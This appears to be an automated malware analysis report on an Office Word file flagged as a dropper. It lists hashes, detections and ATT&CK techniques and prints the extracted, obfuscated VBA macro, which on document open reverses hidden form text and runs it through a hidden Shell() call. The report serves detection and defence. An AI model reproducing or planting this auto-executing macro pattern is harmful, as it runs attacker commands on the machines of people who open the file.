Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 da1b47eb285b4a7c…

MALICIOUS

Office (OOXML)

94.2 KB Created: 2019-03-08 19:11:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-04-17
MD5: 01b57f2d76c8bc9514f5563a2b2da09a SHA-1: 8195c2104d19855b67b55bfa641b5484e7f32a5a SHA-256: da1b47eb285b4a7c79c91c9f33b6a4088b8b03c175bc900669211b9949fd8b35
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA macro that automatically executes upon opening (Document_Open). This macro utilizes the Shell() function to execute an external command, which is a common technique for downloading and running further malicious payloads. The ClamAV detection 'Doc.Dropper.Agent-6884510-0' further supports its role as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6884510-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6884510-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2009 bytes
SHA-256: e2693bd3acb5e0381f184a260c852361459296ef3e4dec0b71d754eb4309ea8e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()

Dim G3YtFLKHc As Long
G3YtFLKHc = Sgn(-1417691366)
Dim peaxH2R As Single
peaxH2R = 38601.587063237
Dim m8wAW As Integer
m8wAW = Sgn(17367)

Call z
End Sub

Attribute VB_Name = "PAlkoS"
Sub xebA3oF0()
Dim Zy89q As Integer
Zy89q = Sgn(-26396)
Dim rA8m1pr As Single
rA8m1pr = 3314.6499972325
End Sub
Public Sub z()
Dim QX34RJzLf As Integer
QX34RJzLf = -10387
Dim kC70hJs4 As Double
kC70hJs4 = Val(33149.386052265)
Dim WkeHzFWfx As String
WkeHzFWfx = UCase(qa8w4RcC)
Dim WRJvg As Integer
WRJvg = 26245
Dim cQvsBf As Integer
cQvsBf = Sgn(-12013)
Dim AByDmZ As Integer
AByDmZ = -24122
WdsRqBl3F = Shell(Tunl56C, 0)
Dim s8BknzP As Byte
s8BknzP = 150
Dim GrmBP3 As Byte
GrmBP3 = 126
End Sub

Attribute VB_Name = "pFiXr"
Sub mBoWbIlX()
End Sub
Sub m6wPXkv()
End Sub
Sub rmopUu()
End Sub

Attribute VB_Name = "XxH84"
Sub iBLVg()
End Sub
Sub jZ0Ot9k()
Dim KWKgIsY As Long
KWKgIsY = Sgn(0)
Dim pDGCF As Single
pDGCF = Sgn(5678.4346713306)
End Sub
Public Function Tunl56C() As String
Dim n9FXxlUd As Object
Set n9FXxlUd = New fm
Dim wnByReM1 As Byte
wnByReM1 = 247
Dim hFqCKpr As Double
hFqCKpr = 45833.386089861
Dim lroli As String
Dim a1JgfUlij As Integer
a1JgfUlij = Sgn(-933)
Dim bBCGmQI6l As Double
bBCGmQI6l = Sgn(9155.1509408794)
lroli = StrReverse(n9FXxlUd.mynewtxt.Text)
Tunl56C = lroli
End Function

Attribute VB_Name = "fm"
Attribute VB_Base = "0{FA85E68F-F5A5-4932-AEFF-7EE3DACD5761}{BF01E547-FF7C-4697-BADD-9F20CF3015A0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23552 bytes
SHA-256: bc86adc44f31d417b87b74de7010dd0c558cb04c093c3c62e603302bd9da8f66
Detection
ClamAV: Doc.Dropper.Agent-6884510-0
Obfuscation or payload: unlikely